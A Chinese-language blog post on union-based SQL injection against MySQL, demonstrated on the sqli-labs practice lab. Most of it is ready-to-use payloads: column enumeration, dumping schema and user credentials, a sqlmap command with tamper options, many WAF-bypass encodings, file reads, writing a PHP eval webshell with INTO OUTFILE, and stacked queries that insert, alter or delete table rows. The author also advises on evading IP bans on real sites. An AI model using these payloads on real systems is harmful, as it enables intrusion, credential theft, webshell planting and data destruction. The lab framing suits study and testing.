sql注入杂谈(一)--union select

我就简单说说我对于联合注入的想法,以及对于联合注入绕过防火墙的方法,(只是我自己目前所掌握的方法,当然更多奇淫技巧还的需要我们自己去发掘)对于我们才学习安全的人来说,对于练习sql注入,我们学习最简单的语法就是sql注入之联合注入。

就拿sqli-labs来说说吧127.0.0.1/less-1/?id=1

我们的教程里面就说127.0.0.1/less-1/?id=1' 加上单引号,看爆不爆错,如果报错了可能存在sql注入,因为当我们127.0.0.1/less-1/?id=1这样提交时,系统会自动加上单引号,就像这样127.0.0.1/less-1/?id='1',但是由于我们又加了单引号,就形成这样127.0.0.1/less-1/?id='1'',所以就会报错,这说明什么,说明系统把我们的单引号带入系统查询了,所以会存在报错。

然后教程就说第二步,(1)127.0.0.1/less-1/?id=1' order by 2--+ (2)127.0.0.1/less-1/?id=1' order by 3--+ (3)127.0.0.1/less-1/?id=1' order by 4--+我相信大家一定不会陌生,假如有3个字段,那么1和2不会报错,3就会报错,那么我们就可以笃定他有3个字段,所以,我们接下来就可以进行我们的第三步,union select,对了,在此之前,我一直搞不懂为何后面要加注释,后来才明白,我们不加注释,提交的语句为127.0.0.1/less-1/?id='1' order by 3' 这样就会报错,但是加了注释,提交的语句就是这样127.0.0.1/less-1/?id='1' order by 3#',后面的单引号就被注释掉了,就没有问题

然后我们就来到了教程的第三步127.0.0.1/less-1/?id=-1' union select 1,2,user()--+然后运用联合注入查看用户,database()数据库,@@datadir数据库的地址等等,然后我们就可以爆数据库的库名127.0.0.1/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

127.0.0.1/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" 爆security的表名

127.0.0.1/less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" 爆users表的字段名

127.0.0.1/less-1/?id=-1' union select 1,group_concat(username,0x7C,password),3 from users--+ 然后读取表的字段内容,

可能有的讲师讲的比较深,要说limit,然后sql注入再讲几个简单的绕waf,就过去了,初学就觉得,流啤的很,TM出数据了,好屌,其实当我们实操的时候,会发现,我们的union select根本就没有用,最后还是靠sqlmap -u xxx --batch --level=3 --risk=3 --hex --tamper="space2randomblank.py" --batch --current-db,如果没有跑出来,然后我们就想到用burpsuit抓包,然后post注入,如果这样还搞不定,那么我们就放弃了(我是这样跌跌撞撞走过来的,哈哈)

今天我就说说我的一些经验吧!虽然也不多,在大牛面前看起来也就那样,但还是分享跟那些才学安全的朋友。

首先我们看一个网站是否存在注入点,别一来就加单引号,因为某些敏感的网站,你加了单引号,你的ip直接被ban了,比如

http://127.0.0.1/sql/Less-1/?id=1-1 http://127.0.0.1/sql/Less-1/?id=1 看这2个回显的长度,用burpsuit看length,这是基于数字型的

http://127.0.0.1/sql/Less-1/?id=1'-'1 http://127.0.0.1/sql/Less-1/?id=1'-'0 这是基于字符串型的

如果是空数据类型的 http://127.0.0.1/sql/Less-1/?id=1-exp(11111) 这样判断

如若大家想用 and 1=1,我建议不要这样,因为现在大部分网站都会拦截,我们可以1%2b1=2 1%2b1>1 这样判断

这些说完了,我就来说说基于union select的绕过方法

1.网上也有很多,大小写绕过,UNIunionON SELselectECT关键字替换绕过,但是对于很多网站,这个已经不怎么实用了。

2.其次是编码以及服务器的解析(包括参数污染)

基于iis+asp的容器: s%u0065lect->select s%u00f0lect->select %U%N%I%O%N //这3种方法绕过

3.然后是是参数解析错误绕过: http://127.0.0.1/sql/Less-1/?id=1\&id=-2' union select 1,user(),3--+

http://127.0.0.1/sql/Less-1/?id=-1+div+0' union select 1,2,user()--+

4.然后如果某些网站支持二次解析url编码: /**/ = %2F%2A%2A%2F == %25%32%46%25%32%41%25%32%41%25%32%46

5.然后利用hpp参数污染绕过

http://127.0.0.1/sql/Less-1/?id=1 /*&id=-1'union select 1,user(),3 -- +*/ //利用hpp参数污染

http://127.0.0.1/sql/Less-1/?id=-1' and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version()--+ //利用垃圾文件绕过

6.接下来就是内联注释绕过

union/*!/*!50000select*/ //网上说是版本号,但是我在我的less1里面10000~50000都可行,大家也可以用burpsuit遍历看长度

union/*!/**/%0aselect*/ //%0a是换行 +UnIoN/**/SeLecT/**/1,2,user() un/**/ion se/**/lect /**/union/*/select/**/

/*!40000 order*/ by 4--+ order /*!40000by*/ 4 --+

7.加入特殊字符

union %23%0aall //%23是注释,%0A是换行,相当于把注释换到下一行 union -- 1%0a select +union+select+1,user(),3--+

union(select 1,2,user())--+ +uni%0bon+se%0blect+1,2,user()--+

8.系统函数被过滤

1.列如我们的user()函数被过滤怎么办

user/**/(/**/) //利用内联注释绕过 还可以user/*!50000*/(/**/)

user/*!50000*/%23%0a(/**/) //利用注释换行绕过

`user`%0a() //利用反引号绕过+换行绕过

2.information_schema.schemata被过滤

`information_schema`.`schemata ` `information_schema`.schemata information_schema.`schemata ` //反引号3连

information_schema/**/.schemata information_schema/*!*/.schemata information_schema/*!50000*/.schemata //内联注释3连

information_schema%0a.schemata (information_schema.schemata) //特殊符号绕过

9.写文件,读文件

union select 1,load_file('C:/Users/Desktop/c.txt'),3--+ //读文件(当然需要权限),用16进制转字符串

union select 1,2,"<?php @eval($_POST[a]);?>" into outfile "C:/Desktop/b.txt"--+ //写文件

union select 1,2,"<?php @eval($_POST[a]);?>" into dumpfile "D:/3.php"--+ //写文件

针对于写读文件的绕过

union select 1,hex(load_file(0x433A2F55736572732F415355532F4465736B746F702F632E747874)),3--+

union select 1,load_file(char(99,58,47,98,101,111,116,76,105,114,105)),3--+ //可以使用hex编码和char编码来绕过,当然前面的union select也可以用前面的方法绕过

10.宽字节注入

有些时候我们对网站sql注入的时候,会发现加上单引号会被/'斜杠加单引号套餐伺候,这个时候我们就需要运用宽字节注入,当然你的%df,你的宽字节的ascii码必须要大于128,才能使与/变成一个汉字。

127.0.0.1/less-1/?id=-1%df' union select 1,2,version()--+这样,如果%df被拦截了

%EF%BF%BD%27union%20select%201,user(),3--+ 可以这样

11.其他(比如我们的注释--+无法注释后面的单引号)

union select 1,user(),3 and '1'%2b'1'='2 这样绕过,=也可以变为%3D

也可以union select 1,user(),3 and '2' >'1  >也可以变为%3E

12堆叠查询

127.0.0.1/less-1/?id=1';insert into users values ('8','xinxin','shuai')--+ //增加一条数据,当然得有权限,这些都是配合POST注入,举个例子(基于lcamry的注入天书)

比如我们在一个登陆界面,我们当然显得判断出他的闭合是什么,如若是单引号,我们就输入payload

uname=admin&passwd=c';insert into users values ('8','xinxin','shuai')#&submit=Submit //我们直接加数据进去,当然前提的有权限

然后就是删;

delete from guest where id =7 or 1=2--+ 这个的慎用,记住,or后面必须是错误语句,否则表TM全删了。

;delete from guest where id =7 or 1=1--+ (这个就是以后别人送饭到手了)

;UPDATE guest SET firstname='akak' WHERE id=3--+ //这个是改

相关推荐
钊兵21 分钟前
数据库驱动免费下载(Oracle、Mysql、达梦、Postgresql)
数据库·mysql·postgresql·oracle·达梦·驱动
weixin_425878231 小时前
Redis复制性能优化利器:深入解析replica-lazy-flush参数
数据库·redis·性能优化
左灯右行的爱情2 小时前
Redis数据结构总结-listPack
数据结构·数据库·redis
隔壁老王1562 小时前
mysql实时同步到es
数据库·mysql·elasticsearch
想要打 Acm 的小周同学呀3 小时前
Redis三剑客解决方案
数据库·redis·缓存
rkmhr_sef3 小时前
Redis 下载与安装 教程 windows版
数据库·windows·redis
库库林_沙琪马4 小时前
Redis 缓存穿透、击穿、雪崩:问题与解决方案
数据库·redis·缓存
黄雪超5 小时前
大数据SQL调优专题——引擎优化
大数据·数据库·sql
LUCIAZZZ5 小时前
EasyExcel快速入门
java·数据库·后端·mysql·spring·spring cloud·easyexcel